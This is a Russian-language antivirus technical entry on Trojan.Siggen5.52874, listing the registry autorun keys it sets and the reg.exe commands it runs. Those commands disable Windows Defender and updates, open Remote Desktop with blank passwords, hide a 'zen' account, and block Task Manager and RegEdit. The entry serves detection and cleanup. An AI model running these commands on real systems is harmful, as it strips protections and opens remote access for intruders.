Trojan.Siggen5.52874

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices] 'MSASCui' = '%APPDATA%\MSASCui.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run] 'NT' = '%APPDATA%\Intelx86.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run] 'NTX' = '%APPDATA%\MSASCui.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices] 'Intelx86' = '%APPDATA%\Intelx86.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Intel(R)' = '%APPDATA%\Intelx86.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Intel(T)' = '%APPDATA%\MSASCui.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Intel(K)' = '%APPDATA%\kms.exe'

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует отображение:

скрытых файлов

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)
Редактора реестра (RegEdit)

Запускает на исполнение:

'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSAppCompat /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v zen /t reg_dword "0" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Policies\Microsoft\MMC\{58221C66-EA27-11CF-ADCF-00AA00A80033}" /v Restrict_Run /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSAppCompat /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\SYSTEM\CurrentControlSet\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Disableregistrytools /t Reg_dword /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\WinStations\RDP-Tcp" /v MaxInstanceCount /t REG_DWORD /d "0xFFFFFFFF" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\WinStations\RDP-Tcp" /v fEnableWinStation /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\WinStations\RDP-Tcp" /v MaxInstanceCount /t REG_DWORD /d "0xFFFFFFFF" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\WinStations\RDP-Tcp" /v fEnableWinStation /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoAddRemovePrograms /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Intel(K) /t REG_SZ /d "%APPDATA%\kms.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer" /v NoAutoUpdate /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Intel(T) /t REG_SZ /d "%APPDATA%\MSASCui.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Disableregistrytools /t Reg_dword /d "0" /f
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\res.bat" "
'<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Intel(R) /t REG_SZ /d "%APPDATA%\Intelx86.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCMD /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer" /v NoWindowsUpdate /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v TEAM /t REG_SZ /d "%APPDATA%\MSASCUI.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AKA /t REG_SZ /d "%APPDATA%\Intelx86.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v NoAutoUpdate /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d "0" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices" /v MSASCui /t REG_SZ /d "%APPDATA%\MSASCui.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices" /v Intelx86 /t REG_SZ /d "%APPDATA%\Intelx86.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run" /v NTX /t REG_SZ /d "%APPDATA%\MSASCui.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run" /v NT /t REG_SZ /d "%APPDATA%\Intelx86.exe" /f